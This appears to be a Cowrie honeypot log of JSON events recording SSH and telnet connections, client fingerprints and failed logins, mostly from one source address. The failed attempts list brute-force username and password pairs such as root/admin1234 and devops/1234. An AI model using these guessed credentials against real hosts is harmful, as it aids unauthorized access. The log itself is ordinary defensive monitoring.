{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:14.749717Z","src_ip":"91.92.42.227","session":"9637ad0b212d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"CatCult2025!","message":"login attempt [root/CatCult2025!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:14.930091Z","src_ip":"91.92.42.227","session":"9cc2cbd78be4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54356,"dst_ip":"159.203.135.109","dst_port":23,"session":"3006c226aa46","protocol":"telnet","message":"New connection: 128.199.8.54:54356 (159.203.135.109:23) [session: 3006c226aa46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:15.294339Z"}
{"eventid":"cowrie.session.closed","duration":"11.7","message":"Connection lost after 11.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:17.714815Z","src_ip":"91.92.42.227","session":"9cc2cbd78be4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":53500,"dst_ip":"10.17.0.5","dst_port":22,"session":"eded10512155","protocol":"ssh","message":"New connection: 91.92.42.227:53500 (10.17.0.5:22) [session: eded10512155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:19.290532Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":60502,"dst_ip":"159.203.135.109","dst_port":23,"session":"839fa2a2e1cd","protocol":"telnet","message":"New connection: 172.81.62.90:60502 (159.203.135.109:23) [session: 839fa2a2e1cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:20.836321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:21.102720Z","src_ip":"91.92.42.227","session":"eded10512155","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:21.105566Z","src_ip":"91.92.42.227","session":"eded10512155","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"milad","password":"milad","message":"login attempt [milad/milad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:23.353395Z","src_ip":"91.92.42.227","session":"9637ad0b212d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.6","message":"Connection lost after 13.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:26.474482Z","src_ip":"91.92.42.227","session":"9637ad0b212d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":58696,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f0d727cb84b","protocol":"ssh","message":"New connection: 91.92.42.227:58696 (10.17.0.5:22) [session: 1f0d727cb84b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:26.777594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:28.629005Z","src_ip":"91.92.42.227","session":"1f0d727cb84b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:28.632450Z","src_ip":"91.92.42.227","session":"1f0d727cb84b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:30.168198Z","src_ip":"91.92.42.227","session":"eded10512155","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":58738,"dst_ip":"10.17.0.5","dst_port":22,"session":"76fbfd23b937","protocol":"ssh","message":"New connection: 91.92.42.227:58738 (10.17.0.5:22) [session: 76fbfd23b937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:32.823960Z"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:34.322816Z","src_ip":"91.92.42.227","session":"eded10512155","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:35.401847Z","src_ip":"91.92.42.227","session":"76fbfd23b937","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:35.405748Z","src_ip":"91.92.42.227","session":"76fbfd23b937","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"1234","message":"login attempt [devops/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:38.580307Z","src_ip":"91.92.42.227","session":"1f0d727cb84b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40828,"dst_ip":"159.203.135.109","dst_port":23,"session":"08c4e579ffba","protocol":"telnet","message":"New connection: 128.199.8.54:40828 (159.203.135.109:23) [session: 08c4e579ffba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:40.133148Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":59724,"dst_ip":"10.17.0.5","dst_port":22,"session":"51cd081d29df","protocol":"ssh","message":"New connection: 91.92.42.227:59724 (10.17.0.5:22) [session: 51cd081d29df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:40.689354Z"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:42.076203Z","src_ip":"91.92.42.227","session":"1f0d727cb84b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:42.843683Z","src_ip":"91.92.42.227","session":"51cd081d29df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:42.846661Z","src_ip":"91.92.42.227","session":"51cd081d29df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"1","message":"login attempt [user2/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:45.625064Z","src_ip":"91.92.42.227","session":"76fbfd23b937","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:48.331296Z","src_ip":"91.92.42.227","session":"76fbfd23b937","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reza","password":"reza","message":"login attempt [reza/reza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:50.494480Z","src_ip":"91.92.42.227","session":"51cd081d29df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":45082,"dst_ip":"10.17.0.5","dst_port":22,"session":"82c1a82cd585","protocol":"ssh","message":"New connection: 91.92.42.227:45082 (10.17.0.5:22) [session: 82c1a82cd585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:50.531978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:51.701436Z","src_ip":"91.92.42.227","session":"82c1a82cd585","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:51.703427Z","src_ip":"91.92.42.227","session":"82c1a82cd585","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.1","message":"Connection lost after 12.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:52.754947Z","src_ip":"91.92.42.227","session":"51cd081d29df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234","message":"login attempt [root/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:56.393224Z","src_ip":"91.92.42.227","session":"82c1a82cd585","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:58.173154Z","src_ip":"91.92.42.227","session":"82c1a82cd585","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":54690,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa70dcca354a","protocol":"ssh","message":"New connection: 91.92.42.227:54690 (10.17.0.5:22) [session: fa70dcca354a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:58.238944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:59.012453Z","src_ip":"91.92.42.227","session":"fa70dcca354a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:38:59.015191Z","src_ip":"91.92.42.227","session":"fa70dcca354a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jakob","password":"jakob","message":"login attempt [jakob/jakob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:03.448835Z","src_ip":"91.92.42.227","session":"fa70dcca354a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":34818,"dst_ip":"10.17.0.5","dst_port":22,"session":"34c5cc7f57ad","protocol":"ssh","message":"New connection: 91.92.42.227:34818 (10.17.0.5:22) [session: 34c5cc7f57ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:04.669972Z"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:05.571042Z","src_ip":"91.92.42.227","session":"fa70dcca354a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:05.672693Z","src_ip":"91.92.42.227","session":"34c5cc7f57ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:05.698915Z","src_ip":"91.92.42.227","session":"34c5cc7f57ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.19464635848999,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:06.030862Z","src_ip":"172.81.62.90","session":"839fa2a2e1cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":38234,"dst_ip":"159.203.135.109","dst_port":23,"session":"27e7768462ec","protocol":"telnet","message":"New connection: 107.6.151.170:38234 (159.203.135.109:23) [session: 27e7768462ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:10.630385Z"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"dev","message":"login attempt [deployer/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:11.085007Z","src_ip":"91.92.42.227","session":"34c5cc7f57ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":34872,"dst_ip":"10.17.0.5","dst_port":22,"session":"71cef464e6a4","protocol":"ssh","message":"New connection: 91.92.42.227:34872 (10.17.0.5:22) [session: 71cef464e6a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:12.316678Z"}
